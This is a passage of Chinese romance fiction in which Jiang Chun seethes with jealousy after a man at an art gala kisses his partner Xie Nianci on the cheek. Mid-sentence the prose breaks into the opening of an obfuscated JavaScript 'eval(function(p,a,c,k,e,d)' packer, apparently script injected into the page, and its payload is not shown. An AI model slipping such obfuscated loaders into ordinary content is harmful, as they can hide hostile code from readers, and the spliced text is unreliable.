蒋淳并非不想结婚,不结婚,意味着谢念慈随时能走,甚至无需拉扯太多。虽说不大好听,但他也明白自己就是小三上位,危机感十足,前有阴魂不散的前夫,后有一批又一批的追求者,围绕在谢念慈身旁。 恰恰谢念慈又处在一个熟女的金色年华,不说艳光四射,至少也能福泽众生,对每一个人都报以温柔的微笑。 去年某次艺术晚宴过后,有白男和谢念慈开玩笑,亲了谢念慈的脸一口,气得蒋淳差点没把人掐死。 那天回家他沉默开着车,谢念慈就在旁边坐着,小小声说,老公,你不要生气好不好…… 很可怜的。 谢念慈又说,他们国家有贴面礼,没有真亲到啦…… 蒋淳抬起眼,透过后视镜看了一眼谢念慈。这人低着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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